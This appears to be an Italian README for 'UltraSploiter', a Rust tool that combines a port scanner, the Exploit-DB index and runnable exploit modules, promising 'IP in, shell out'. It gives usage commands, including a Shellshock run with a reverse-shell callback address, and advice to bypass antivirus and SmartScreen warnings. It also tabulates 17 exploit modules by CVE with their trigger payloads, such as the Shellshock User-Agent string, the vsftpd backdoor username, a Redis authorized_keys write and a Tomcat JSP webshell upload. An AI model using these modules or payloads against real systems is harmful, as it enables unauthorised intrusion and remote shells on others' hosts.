Un singolo binario che unisce un port scanner, l'indice completo di Exploit-DB (47k voci) e moduli exploit eseguibili in un unico strumento. Scritto in Rust, funziona su Linux, Windows e macOS.
scan, match, exploit — un IP in ingresso, shell in uscita.
Un singolo binario che unisce un port scanner, l'indice completo di Exploit-DB e un insieme di moduli exploit eseguibili in un unico strumento. Funziona su Linux, Windows e macOS.
| lavoro | normalmente | qui |
|---|---|---|
| Trova servizi su un host | nmap | UltraSploiter scan <ip> |
| Cerca exploit | searchsploit | UltraSploiter search <kw> |
| Lanciali | msfconsole | UltraSploiter exploit <ip> <module> |

Il modo più semplice e migliore è scaricare il binario precompilato ed eseguirlo. Niente da installare, nessuna dipendenza — un unico file autonomo.
Scarica dalla pagina delle Release:
UltraSploiter-windows-x86_64.exe → doppio clicUltraSploiter-linux-x86_64Attenzione: gli strumenti di sicurezza vengono segnalati. Windows SmartScreen e l'antivirus probabilmente avviseranno o metteranno in quarantena il binario — clicca Ulteriori informazioni → Esegui comunque, oppure aggiungi un'esclusione se intendi conservarlo.
Doppio clic su UltraSploiter.exe. Si apre il menu.
Se SmartScreen avvisa di un editore sconosciuto (lo farà, per qualsiasi binario non firmato), clicca Ulteriori informazioni → Esegui comunque.
chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64
chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64
Se Gatekeeper lo blocca (di nuovo, qualsiasi binario non firmato), fai clic destro → Apri, oppure rimuovi il flag di quarantena una volta:
xattr -d com.apple.quarantine UltraSploiter-macos-arm64
Necessaria solo se non esiste un binario per la tua piattaforma, o se vuoi modificarlo. È richiesto Rust 1.74+.
sudo apt install build-essential # gcc + linker (Debian/Ubuntu)
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
xcode-select --install # clang + linker
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1 # -> UltraSploiter.exe
build.ps1 usa la toolchain stable-x86_64-pc-windows-gnu, che si collega con
MinGW — quindi non hai bisogno di Visual Studio o MSVC. Installa quella toolchain
se manca. Se hai già MSVC Build Tools, anche un semplice
cargo build --release funziona.
Attenzione Windows + GNU:
windows-sys(richiamato da tokio) invocadlltool, che a sua volta richiama l'assembleras— e il componente rust-mingw non includeas.build.ps1cerca un bin MinGW che lo contenga in%~dp0tools\mingw64\bine%USERPROFILE%\tools\mingw64\bin, e lo antepone alPATHquando lo trova. Metti lì una build di winlibs se incontrierror calling dlltool. Le toolchain MSVC non sono interessate.
Senza argomenti ottieni il menu:
1) Scan a target find open ports and services
2) Search exploits keyword lookup
3) List runnable modules
4) Run an exploit pick a target and a module
5) Console advanced msf-style commands
0) Exit
UltraSploiter scan 10.0.0.5 # top 1000 ports + fingerprint + suggestions
UltraSploiter scan 10.0.0.5 -p 1-1024 -T4 # range, fast timing
UltraSploiter scan 10.0.0.5 -p - # all 65535 ports
UltraSploiter scan 10.0.0.5 -sU # UDP scan
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter info 17491
UltraSploiter show 17491 # print the PoC source for an Exploit-DB id
UltraSploiter modules
UltraSploiter msf search smb # bridge to Metasploit (needs it installed)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console
Su Linux/macOS, anteponi ./ (es. ./UltraSploiter scan 10.0.0.5).
| flag | significato |
|---|---|
-p <spec> | top (1000), 80,443, 1-1024, - (tutte) |
-T0..-T5 | template di timing — da più lento/silenzioso a più veloce/rumoroso |
-sU | scansione con probe UDP |
-sV | rilevamento servizio/versione (attivo di default) |
--no-banner | salta il banner grabbing |
--json | JSON su stdout |
-oX <file> | XML in stile nmap |
Lo scanner è asincrono (tokio): ogni livello -T imposta quanti socket sono
in volo contemporaneamente (fino a 8000 con -T5), quindi copre i top-1000 di nmap in un paio
di secondi. Ogni "open" è un handshake TCP completato, quindi i risultati sono esatti.
-o key=value)| chiave | usata da | significato |
|---|---|---|
lhost, lport | moduli rev-shell | indirizzo di callback |
rport | moduli web | sovrascrive la porta HTTP |
path | shellshock, struts, phpunit | percorso dell'endpoint |
user, pass | tomcat_manager | credenziali del manager |
core | solr_rce | nome del core Solr |
file | grafana_lfi | file da leggere |
ssh_pubkey | redis_unauth | chiave da inserire in authorized_keys |
src, dst | proftpd_modcopy | copia sorgente / destinazione |
timeout | tutti | timeout del socket in secondi |
search e info sono supportati dall'indice completo di Exploit-DB — oltre 47.000 voci
(lo stesso dataset usato da searchsploit), incluso nel binario. Quando una voce
contiene un CVE che un modulo eseguibile implementa, info collega i due:
$ UltraSploiter info 17491
Exploit-DB 17491
description vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
codes OSVDB-73573;CVE-2011-2523
[runnable] vsftpd_234
UltraSploiter exploit <ip> vsftpd_234
| modulo | CVE | trigger |
|---|---|---|
vsftpd_234 | CVE-2011-2523 | username :) → root bind shell sulla 6200 |
unrealircd_backdoor | CVE-2010-2075 | AB; <cmd> via IRC |
distcc_exec | CVE-2004-2687 | argomento del compilatore del protocollo DIST |
proftpd_modcopy | CVE-2015-3306 | copia file SITE CPFR/CPTO |
redis_unauth | — | CONFIG SET scrive una chiave o una voce cron |
shellshock | CVE-2014-6271 | User-Agent: () { :; }; <cmd> |
struts2_5638 | CVE-2017-5638 | OGNL in Content-Type |
tomcat_put | CVE-2017-12615 | PUT di un webshell JSP |
tomcat_manager | — | deploy di un WAR via /manager |
elasticsearch_groovy | CVE-2015-1427 | RCE Groovy in _search |
drupalgeddon2 | CVE-2018-7600 | callback di render della Form API |
phpunit_eval | CVE-2017-9841 | eval-stdin.php |
jenkins_script | CVE-2019-1003000 | Groovy non autenticato su /script |
solr_rce | CVE-2019-17558 | template Velocity in stream.body |
grafana_lfi | CVE-2021-43798 | lettura file tramite path traversal del plugin |
webmin_backdoor | CVE-2019-15107 | password_change.cgi invia un valore a una shell |
php_cgi_arg_injection | CVE-2012-1823 | -d auto_prepend_file tramite la query string |
Ognuno implementa un check() non distruttivo e un run().